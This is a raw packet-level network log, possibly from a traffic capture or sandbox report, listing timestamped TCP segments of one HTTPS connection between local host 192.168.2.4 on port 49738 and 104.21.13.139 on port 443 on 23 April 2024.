Apr 23, 2024 14:44:57.877268076 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.877279043 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.877314091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.878073931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878087044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878140926 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.878149986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878187895 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.878597021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878612995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878654957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.878667116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.878700972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.879036903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879055023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879092932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.879101038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879133940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.879790068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879805088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879851103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.879861116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.879893064 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.880649090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.880662918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.880711079 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.880721092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.880753994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.061306953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.061332941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.061624050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.061665058 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.061692953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.061728001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.061789989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.062521935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.062537909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.062602997 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.062608957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063348055 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063365936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063411951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.063416958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063441038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.063463926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063477039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063524008 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.063529015 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.063555002 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.064429998 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.064449072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.064498901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.064503908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065284967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065299034 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065356016 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.065360069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065385103 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065406084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065433979 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.065438986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.065458059 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.066272020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.066284895 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.066344976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.066349983 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.067073107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.067089081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.067133904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.067137957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.067157984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.067935944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.067949057 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068011999 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.068017006 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068712950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068728924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068782091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.068788052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068814993 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.068938017 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068949938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.068996906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.069003105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.069055080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.069900036 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.069916964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.069962025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.069967985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.069998026 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.070704937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.070717096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.070775986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.070780993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071434021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071450949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071489096 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.071494102 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071516037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.071574926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071593046 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071623087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.071630955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.071655035 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.072503090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.072520971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.072555065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.072559118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.072688103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.073369980 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073383093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073437929 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.073442936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073498011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073528051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073544025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.073548079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.073581934 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.074399948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.074413061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.074461937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.074466944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.075262070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.075278997 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.075324059 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.075330019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.075346947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.076025963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076039076 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076091051 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.076096058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076179028 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076200962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076237917 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.076241970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.076271057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.077079058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.077092886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.077131987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.077136993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.077167034 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.077977896 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.077994108 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.078030109 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.078033924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.078059912 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.078815937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.078829050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.078886986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.078892946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.078991890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079014063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079041958 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.079045057 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079071045 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.079813004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079827070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079865932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.079869986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.079895020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.080584049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.080602884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.080640078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.080643892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.080668926 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.081335068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081347942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081403971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.081409931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081634045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081653118 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081686974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.081696033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.081706047 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.082573891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.082587004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.082628012 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.082633972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.082658052 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.083373070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083390951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083426952 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.083431005 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083456039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.083496094 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083513021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083543062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.083548069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.083559990 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.084395885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.084419012 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.084450960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.084455013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.084481001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.085223913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.085242987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.085283995 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.085288048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.085313082 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.086440086 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086457014 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086517096 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.086523056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086582899 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086595058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086636066 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.086641073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.086671114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.087042093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.087059975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.087093115 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.087100029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.087126017 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.087971926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.087985039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.088041067 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.088046074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.088818073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.088835001 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.088886976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.088891029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.088923931 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.088989973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.089005947 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.089044094 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.089047909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.089070082 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.089737892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.089755058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.089823961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.089831114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.090610981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.090625048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.090670109 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.090673923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.090694904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.091470003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091486931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091526985 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.091532946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091548920 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.091686010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091721058 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091748953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.091754913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.091774940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.092547894 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.092566013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.092618942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.092624903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.092649937 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.093353987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.093367100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.093421936 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.093425989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094131947 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094149113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094187975 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.094193935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094218016 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.094315052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094329119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094358921 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.094362974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.094388962 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.095278978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.095297098 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.095339060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.095343113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.095370054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.096087933 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096132040 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096153975 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.096158981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096185923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.096256971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096281052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096319914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.096323967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.096337080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.097245932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.097263098 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.097301006 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.097306967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.097332001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.097979069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.097996950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.098032951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.098037958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.098062038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.098639965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.098658085 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.098711967 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.098716021 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.098747015 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.099383116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099401951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099450111 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.099456072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099488020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.099864960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099878073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099920988 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.099925995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.099950075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.100688934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.100706100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.100749969 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.100755930 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.100783110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.101378918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101392031 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101435900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.101442099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101464987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.101763964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101782084 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101818085 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.101824045 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.101845980 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.102631092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.102646112 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.102699041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.102704048 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.103307009 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.103324890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.103358984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.103363037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.103528023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.104334116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.104346991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:58.104397058 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:58.104402065 CEST	443	49738	104.21.13.139	192.168.2.4
